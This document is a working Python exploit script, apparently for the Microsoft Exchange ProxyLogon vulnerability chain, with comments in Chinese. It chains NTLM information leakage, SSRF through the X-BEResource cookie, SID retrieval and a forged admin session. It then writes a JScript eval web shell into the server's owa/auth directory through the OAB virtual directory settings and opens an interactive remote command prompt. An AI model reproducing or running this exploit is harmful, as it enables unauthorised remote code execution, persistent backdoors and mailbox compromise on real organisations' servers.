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exchange-exp.py
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exchange-exp.py
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import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import sys
import base64
import re
import time
from struct import unpack
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
if len(sys.argv) < 2:
print()
print("--------------------------------------------------------------------------------")
print("| |")
print("| Usage: python {} <target> <email> ".format(sys.argv[0]))
print("| Usage: python {} mail.exchange.cn administrator@exchange.cn ".format(sys.argv[0]))
print("| |")
print("--------------------------------------------------------------------------------")
print()
exit()
proxies = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"
}
# 随机获取到名称
def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
random_name = id_generator(4) + ".js"
target = sys.argv[1]
email = sys.argv[2]
LOCAL_NAME = ''
DOMAIN = ''
COMPUTER = ''
random_str = ''.join(random.sample(string.ascii_letters + string.digits, 20))
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 " \
"Safari/537.36 "
shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\" + random_str + ".aspx"
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path
# webshell
shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],' \
'"unsafe");}</script> '
# webshell exec
'''
code=Response.Write(
new ActiveXObject("WScript.Shell")
.exec("whoami")
.StdOut.ReadAll()
);
'''
# 解析NTLM
def _unpack_str(byte_string):
return byte_string.decode('UTF-8').replace('\x00', '')
def _unpack_int(format, data):
return unpack(format, data)[0]
def parse_challenge(auth):
target_info_field = auth[40:48]
target_info_len = _unpack_int('H', target_info_field[0:2])
target_info_offset = _unpack_int('I', target_info_field[4:8])
target_info_bytes = auth[target_info_offset:target_info_offset + target_info_len]
domain_name = ''
computer_name = ''
info_offset = 0
while info_offset < len(target_info_bytes):
av_id = _unpack_int('H', target_info_bytes[info_offset:info_offset + 2])
av_len = _unpack_int('H', target_info_bytes[info_offset + 2:info_offset + 4])
av_value = target_info_bytes[info_offset + 4:info_offset + 4 + av_len]
info_offset = info_offset + 4 + av_len
if av_id == 2: # MsvAvDnsDomainName
domain_name = _unpack_str(av_value)
elif av_id == 3: # MsvAvDnsComputerName
computer_name = _unpack_str(av_value)
assert domain_name, 'DomainName not found'
assert computer_name, 'ComputerName not found'
return domain_name, computer_name
def get_ComputerName():
print('\n[*] Getting ComputerName and DomainName')
'''
ntlm_type1 = (
'NTLMSSP\x00' # NTLMSSp Signature
'\x01\x00\x00\x00' # Message Type
'\x97\x82\x08\xe2' # Flags
'\x00\x00\x00\x00\x00\x00\x00\x00' # Domain String
'\x00\x00\x00\x00\x00\x00\x00\x00' # Workstation String
'\x0a\x00\xba\x47\x00\x00\x00\x0f' # OS Version
)
'''
# NTLM 请求通过在 headers 中添加一个 Authorization:Negotiate 字段
headers = {
'Authorization': 'Negotiate {}'.format('TlRMTVNTUAABAAAAl4II4gAAAAAAAAAAAAAAAAAAAAAKALpHAAAADw==')
}
# 请求rpc 获取NTLM 认证
# nmap也有一个可以通过rpc来获取exchange信息的
# nmap MAIL -p 443 --script http-ntlm-info --script-args http-ntlm-info.root=/rpc/rpcproxy.dll
r = requests.get('https://%s/rpc/' % target, headers=headers, verify=False, proxies=proxies)
auth_header = r.headers['WWW-Authenticate']
auth = re.search('Negotiate ([A-Za-z0-9/+=]+)', auth_header).group(1)
domain_name, computer_name = parse_challenge(base64.b64decode(auth))
print("[+] domain : ", domain_name)
print(" |")
print("[+] computer : ", computer_name)
return computer_name, domain_name
# 获取sid
def get_sid(mail):
global target, LOCAL_NAME
payload = '''
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>%s</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
''' % mail
ssrf_xml = requests.post(
"https://{}/ecp/{}".format(target, random_name),
headers={
"Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % LOCAL_NAME,
"Content-Type": "text/xml",
"User-Agent": user_agent,
},
data=payload,
proxies=proxies,
verify=False
)
if ssrf_xml.status_code != 200:
print()
print("[-] Autodiscover Error! status_code is %s \n" % ssrf_xml.status_code)
exit()
if "<ErrorCode>500</ErrorCode>" in ssrf_xml.text:
print("[-] Invalid E-Mail-Adresse ! or E-Mail-Adresse : email@domain \n")
exit()
elif "<LegacyDN>" not in str(ssrf_xml.content):
print("[-] Can not get LegacyDN!")
exit()
legacyDn = str(ssrf_xml.content).split("<LegacyDN>")[1].split(r"</LegacyDN>")[0]
print(" |")
print("[*] Getting LegacyDN")
print("[+] LegacyDN : " + legacyDn)
mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5"
"@exchange.lab&a=~1942062522;" % LOCAL_NAME,
"Content-Type": "application/mapi-http",
"X-Requesttype": "Connect",
"X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
"X-Clientapplication": "Outlook/15.0.4815.1002",
"X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456",
"User-Agent": user_agent
},
data=mapi_body,
verify=False,
proxies=proxies,
)
if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content):
print("[-] Mapi Error!")
exit()
sid = str(ct.content).split("with SID ")[1].split(" and MasterAccountSid")[0]
print(" |")
print("[*] Getting SID")
print("[+] SID : " + sid)
return sid
def proxyLogon(sid):
proxyLogon_data = """<r at="Negotiate" ln="john"><s>%s</s><s a="7"
t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s
a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
""" % sid
proxyLogon_res = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % LOCAL_NAME,
"Content-Type": "text/xml",
"msExchLogonMailbox": "S-1-5-20",
"User-Agent": user_agent
},
verify=False,
proxies=proxies,
data=proxyLogon_data,
)
if proxyLogon_res.status_code != 241 or not "set-cookie" in proxyLogon_res.headers:
print("[-] Proxylogon Error!")
exit()
sess_id = proxyLogon_res.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0]
msExchEcpCanary = proxyLogon_res.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]
print(" |")
print("[*] Getting session")
print("[+] session : " + sess_id)
print(" |")
print("[*] Getting msExchEcpCanary")
print("[+] msExchEcpCanary : " + msExchEcpCanary)
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory"
"&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
LOCAL_NAME, msExchEcpCanary, sess_id, msExchEcpCanary),
"Content-Type": "application/json; ",
"msExchLogonMailbox": "S-1-5-20",
"User-Agent": user_agent
},
json={"filter": {
"Parameters": {
"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}},
verify=False, proxies=proxies
)
if ct.status_code != 200:
print("[-] GetOAB Error!")
exit()
elif "RawIdentity" not in ct.text:
print("[-] Get OAB Error!")
exit()
oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0]
print(" |")
print("[*]Got OAB id")
print("[+] OAB : " + oabId)
oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
"properties": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"ExternalUrl": "http://ffff/#%s" % shell_content}}}
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
LOCAL_NAME, msExchEcpCanary, sess_id, msExchEcpCanary),
"msExchLogonMailbox": "S-1-5-20",
"Content-Type": "application/json; charset=utf-8",
"User-Agent": user_agent
},
json=oab_json,
verify=False, proxies=proxies
)
if ct.status_code != 200:
print("Set external url Error!")
exit()
reset_oab_body = {
"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
"properties": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"FilePathName": shell_absolute_path}}}
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
LOCAL_NAME, msExchEcpCanary, sess_id, msExchEcpCanary),
"msExchLogonMailbox": "S-1-5-20",
"Content-Type": "application/json; charset=utf-8",
"User-Agent": user_agent
},
json=reset_oab_body,
verify=False, proxies=proxies
)
if ct.status_code != 200:
print("[-] Got shell failure ! ")
exit()
print(" |")
print("[*]upload shell success")
print("POST shell:https://" + target + "/owa/auth/" + random_str + ".aspx")
print(" |")
print("[+] request shell now")
shell_url = "https://" + target + "/owa/auth/" + random_str + ".aspx"
time.sleep(10)
# print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());')
# data = requests.post(shell_url, data={
# "code": "Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"},
# verify=False, proxies=proxies)
post_data = {"code": "Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"}
data = requests.get(shell_url, verify=False, proxies=proxies)
if data.status_code != 200:
print("[-] request shell failure ")
exit()
elif "<div class=\"errorHeader\">404</div>" in data.text:
print("[-] request shell failure , 404 shell ! ")
exit()
elif "OAB (Default Web Site)" in data.text:
print("\n |")
print("[*]Got shell success")
print(" |")
data = requests.get(shell_url, verify=False, data=post_data, proxies=proxies)
if data.status_code == 500:
print("[-] exec error !\n")
elif data.status_code != 200:
print("[-] request shell failure ")
elif "<div class=\"errorHeader\">404</div>" in data.text:
print("[-] request shell failure , 404 shell ! ")
else:
print("[+] 权限如下：" + data.text.split("OAB (Default Web Site)")[0].replace("Name : ",
""))
print(" |")
print("[+] input exit or quit to exit !")
while True:
cmd = input("PS C:\> ")
if cmd == "exit" or cmd == "quit" or cmd == "q":
exit()
elif cmd == "":
print("command null ! ")
else:
data = requests.post(shell_url, data={
"code": "Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"{}\").StdOut.ReadAll());".format(
cmd)},
verify=False, proxies=proxies)
if data.status_code == 500:
print("[-] exec error ! ")
elif "errorFooter" in data.text:
print("[-] exec error ! ")
else:
print(data.text.split("OAB (Default Web Site)")[0].replace("Name : ",
""))
if __name__ == '__main__':
LOCAL_NAME, DOMAIN = get_ComputerName()
sid = get_sid(email)
proxyLogon(sid)